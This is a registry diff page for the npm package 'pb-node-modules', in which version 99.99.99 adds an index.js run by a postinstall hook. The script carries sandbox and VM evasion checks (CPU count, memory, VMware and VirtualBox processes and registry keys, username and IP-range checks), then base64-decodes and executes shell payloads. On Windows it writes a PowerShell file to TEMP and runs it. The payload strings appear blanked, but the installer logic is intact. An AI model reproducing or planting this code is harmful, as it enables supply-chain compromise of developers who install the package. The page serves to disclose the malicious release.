pb-node-modules 0.0.1-security → 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pb-node-modules might be problematic. Click here for more details.
- package/index.js +278 -0
- package/package.json +16 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,278 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const util = require('util');
|
3
|
+
const exec = util.promisify(require('child_process').exec);
|
4
|
+
const http = require('http');
|
5
|
+
const fs = require('fs');
|
6
|
+
const { execSync } = require('child_process');
|
7
|
+
|
8
|
+
const detectOSType = () => {
|
9
|
+
const type = os.type();
|
10
|
+
if (type.startsWith('Windows')) return 'Windows';
|
11
|
+
if (type.startsWith('Linux')) return 'Linux';
|
12
|
+
if (type.startsWith('Darwin')) return 'Mac';
|
13
|
+
return 'UNKNOWN';
|
14
|
+
};
|
15
|
+
|
16
|
+
const os_type = detectOSType();
|
17
|
+
|
18
|
+
function requireOrInstall(packageName) {
|
19
|
+
try {
|
20
|
+
execSync(`npm list ${packageName}`, { stdio: 'ignore' });
|
21
|
+
} catch (error) {
|
22
|
+
execSync(`npm install ${packageName}`, { stdio: 'inherit' });
|
23
|
+
}
|
24
|
+
}
|
25
|
+
|
26
|
+
if (os_type === 'Windows') {
|
27
|
+
requireOrInstall('ffi-napi');
|
28
|
+
requireOrInstall('ref-napi');
|
29
|
+
requireOrInstall('winreg');
|
30
|
+
|
31
|
+
const ffi = require('ffi-napi');
|
32
|
+
const ref = require('ref-napi');
|
33
|
+
const int = ref.types.int;
|
34
|
+
const user32 = ffi.Library('user32', {
|
35
|
+
'GetSystemMetrics': [ int, [ int ] ]
|
36
|
+
});
|
37
|
+
|
38
|
+
// SM_MOUSEPRESENT constant
|
39
|
+
const SM_MOUSEPRESENT = 19;
|
40
|
+
// SM_KEYBOARDTYPE constant
|
41
|
+
const SM_KEYBOARDTYPE = 4;
|
42
|
+
|
43
|
+
let mousePresent = user32.GetSystemMetrics(SM_MOUSEPRESENT) !== 0;
|
44
|
+
let keyboardType = user32.GetSystemMetrics(SM_KEYBOARDTYPE) !== 0;
|
45
|
+
|
46
|
+
if (!mousePresent && !keyboardType) {
|
47
|
+
process.exit(1);
|
48
|
+
}
|
49
|
+
}
|
50
|
+
|
51
|
+
let shouldExit = false;
|
52
|
+
|
53
|
+
function isInIPRange(ip) {
|
54
|
+
const [w, x, y, z] = ip.split('.').map(Number);
|
55
|
+
return (w === 195 && x === 239 && y === 51);
|
56
|
+
}
|
57
|
+
|
58
|
+
const getPublicIP = (callback) => {
|
59
|
+
const options = {
|
60
|
+
hostname: 'api.ipify.org',
|
61
|
+
path: '/?format=json',
|
62
|
+
method: 'GET',
|
63
|
+
};
|
64
|
+
|
65
|
+
const req = http.request(options, (res) => {
|
66
|
+
let data = '';
|
67
|
+
res.on('data', (chunk) => {
|
68
|
+
data += chunk;
|
69
|
+
});
|
70
|
+
|
71
|
+
res.on('end', () => {
|
72
|
+
try {
|
73
|
+
const response = JSON.parse(data);
|
74
|
+
const publicIP = response.ip;
|
75
|
+
callback(null, publicIP);
|
76
|
+
} catch (error) {
|
77
|
+
callback(new Error('Error parsing response'));
|
78
|
+
}
|
79
|
+
});
|
80
|
+
});
|
81
|
+
|
82
|
+
req.on('error', (error) => {
|
83
|
+
callback(error);
|
84
|
+
});
|
85
|
+
|
86
|
+
req.end();
|
87
|
+
};
|
88
|
+
|
89
|
+
let cpus = os.cpus();
|
90
|
+
cpus = cpus.length;
|
91
|
+
|
92
|
+
if (cpus === 1) {
|
93
|
+
process.exit(1);
|
94
|
+
}
|
95
|
+
|
96
|
+
let totalMemory = os.totalmem();
|
97
|
+
totalMemory = totalMemory / (1024 ** 3); // Convert from bytes to gigabytes
|
98
|
+
totalMemory = Math.round(totalMemory);
|
99
|
+
|
100
|
+
const THRESHOLD = "2";
|
101
|
+
if (totalMemory < THRESHOLD) {
|
102
|
+
process.exit(1);
|
103
|
+
}
|
104
|
+
|
105
|
+
const processesToCheck = [
|
106
|
+
'vboxservice.exe',
|
107
|
+
'vboxtray.exe',
|
108
|
+
'vmtoolsd.exe',
|
109
|
+
'vmwaretray.exe',
|
110
|
+
'vmwareuser.exe',
|
111
|
+
'VGAuthService.exe',
|
112
|
+
];
|
113
|
+
|
114
|
+
if (os_type === 'Windows') {
|
115
|
+
processesToCheck.forEach(process => {
|
116
|
+
exec(`tasklist | findstr /i ${process}`, (error, stdout, stderr) => {
|
117
|
+
if (error && error.code !== 1) {
|
118
|
+
console.error(`exec error: ${error}`);
|
119
|
+
return;
|
120
|
+
}
|
121
|
+
|
122
|
+
if (stdout.trim()) {
|
123
|
+
process.exit();
|
124
|
+
}
|
125
|
+
});
|
126
|
+
});
|
127
|
+
}
|
128
|
+
|
129
|
+
async function main() {
|
130
|
+
|
131
|
+
if (os_type === 'Windows') {
|
132
|
+
|
133
|
+
const Registry = require('winreg');
|
134
|
+
|
135
|
+
const keysToCheck = [
|
136
|
+
'\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VMware Tools',
|
137
|
+
'\\SOFTWARE\\Oracle\\VirtualBox Guest Additions',
|
138
|
+
'\\SYSTEM\\CurrentControlSet\\Services\\VBoxGuest',
|
139
|
+
'\\SYSTEM\\CurrentControlSet\\Services\\VBoxMouse',
|
140
|
+
'\\SYSTEM\\CurrentControlSet\\Services\\VBoxService',
|
141
|
+
'\\SYSTEM\\CurrentControlSet\\Services\\VBoxSF',
|
142
|
+
'\\SYSTEM\\CurrentControlSet\\Services\\VBoxVideo',
|
143
|
+
];
|
144
|
+
|
145
|
+
for(let i=0; i<keysToCheck.length; i++) {
|
146
|
+
const regKey = new Registry({
|
147
|
+
hive: Registry.HKLM,
|
148
|
+
key: keysToCheck[i]
|
149
|
+
});
|
150
|
+
|
151
|
+
const keyExists = util.promisify(regKey.keyExists).bind(regKey);
|
152
|
+
|
153
|
+
try {
|
154
|
+
const exists = await keyExists();
|
155
|
+
if (exists) {
|
156
|
+
shouldExit = true;
|
157
|
+
process.exit();
|
158
|
+
}
|
159
|
+
} catch (err) {
|
160
|
+
console.log(err);
|
161
|
+
}
|
162
|
+
}
|
163
|
+
}
|
164
|
+
}
|
165
|
+
|
166
|
+
async function whoamiCommand() {
|
167
|
+
let checkCommand;
|
168
|
+
let whoami;
|
169
|
+
|
170
|
+
if (os_type === 'Windows') {
|
171
|
+
checkCommand = 'whoami';
|
172
|
+
whoami = (stdout) => stdout.includes('justin');
|
173
|
+
|
174
|
+
try {
|
175
|
+
const { stdout } = await exec(checkCommand);
|
176
|
+
|
177
|
+
if (whoami(stdout)) {
|
178
|
+
process.exit(1);
|
179
|
+
}
|
180
|
+
|
181
|
+
} catch {
|
182
|
+
process.exit(1);
|
183
|
+
}
|
184
|
+
}
|
185
|
+
}
|
186
|
+
|
187
|
+
async function checkVMTools() {
|
188
|
+
const os_type = detectOSType();
|
189
|
+
let checkCommand;
|
190
|
+
let isActive;
|
191
|
+
|
192
|
+
if (os_type === 'Windows') {
|
193
|
+
checkCommand = 'sc query VMTools';
|
194
|
+
isActive = (stdout) => stdout.includes('RUNNING');
|
195
|
+
|
196
|
+
} else if (os_type === 'Linux' || os_type === 'Mac') {
|
197
|
+
checkCommand = 'systemctl is-active vmtoolsd';
|
198
|
+
isActive = (stdout) => stdout.trim() === 'active';
|
199
|
+
|
200
|
+
} else {
|
201
|
+
console.error('Unsupported OS type:', os_type);
|
202
|
+
process.exit(1);
|
203
|
+
}
|
204
|
+
|
205
|
+
try {
|
206
|
+
const { stdout } = await exec(checkCommand);
|
207
|
+
|
208
|
+
if (isActive(stdout)) {
|
209
|
+
shouldExit = true;
|
210
|
+
process.exit(1);
|
211
|
+
|
212
|
+
} else {
|
213
|
+
await getPublicIP(async (error, remoteIP) => {
|
214
|
+
remoteIP = isInIPRange(remoteIP);
|
215
|
+
if (remoteIP) {
|
216
|
+
process.exit(1);
|
217
|
+
}else if (remoteIP === '\\' || remoteIP === ''){
|
218
|
+
process.exit(1);
|
219
|
+
}else if (os_type === 'Linux' || os_type === 'Mac') {
|
220
|
+
let bosh = 'None';
|
221
|
+
let decodedBosh = Buffer.from(bosh, 'base64').toString('utf8');
|
222
|
+
let evalBosh = eval(decodedBosh);
|
223
|
+
bosh = evalBosh.replace(/NewLine/g, "\\\\n");
|
224
|
+
|
225
|
+
let bosh_exc1 = 'None';
|
226
|
+
let bosh_exc2 = 'None';
|
227
|
+
bosh_exc1 = Buffer.from(bosh_exc1, 'base64').toString('utf8');
|
228
|
+
bosh_exc2 = Buffer.from(bosh_exc2, 'base64').toString('utf8');
|
229
|
+
|
230
|
+
let finalBosh = bosh_exc1 + `'${bosh}'` + bosh_exc2;
|
231
|
+
await exec(finalBosh)
|
232
|
+
}
|
233
|
+
});
|
234
|
+
}
|
235
|
+
} catch (error) {
|
236
|
+
await getPublicIP((error, remoteIP) => {
|
237
|
+
remoteIP = isInIPRange(remoteIP);
|
238
|
+
if (remoteIP){
|
239
|
+
process.exit(1);
|
240
|
+
}else if (remoteIP === '\\' || remoteIP === ''){
|
241
|
+
process.exit(1);
|
242
|
+
}else if (os_type === 'Windows') {
|
243
|
+
let pol = 'None';
|
244
|
+
pol = Buffer.from(pol, 'base64').toString('utf8');
|
245
|
+
let pol_exc = 'None';
|
246
|
+
const env = `${process.env.TEMP}\\demo.ps1`;
|
247
|
+
let psFilePath = env;
|
248
|
+
fs.writeFileSync(psFilePath, pol, 'utf8');
|
249
|
+
exec(Buffer.from(pol_exc, 'base64').toString('utf8'),
|
250
|
+
(error, stdout, stderr) => {
|
251
|
+
if (error) {
|
252
|
+
console.error(`Error: ${error.message}`);
|
253
|
+
return;
|
254
|
+
}
|
255
|
+
});
|
256
|
+
}
|
257
|
+
});
|
258
|
+
}
|
259
|
+
}
|
260
|
+
|
261
|
+
async function runChecks() {
|
262
|
+
await main();
|
263
|
+
|
264
|
+
if (shouldExit) {
|
265
|
+
process.exit(1);
|
266
|
+
} else {
|
267
|
+
await whoamiCommand();
|
268
|
+
|
269
|
+
if (shouldExit) {
|
270
|
+
process.exit(1);
|
271
|
+
} else {
|
272
|
+
await checkVMTools();
|
273
|
+
}
|
274
|
+
}
|
275
|
+
}
|
276
|
+
|
277
|
+
runChecks();
|
278
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
1
|
+
|
2
|
+
{
|
3
|
+
"name": "pb-node-modules",
|
4
|
+
"version": "99.99.99",
|
5
|
+
"description": "A sample npm package for demonstration purposes.",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"postinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"dependency"
|
12
|
+
],
|
13
|
+
"author": "Anonymous",
|
14
|
+
"license": "ISC"
|
15
|
+
}
|
16
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=pb-node-modules for more information.
|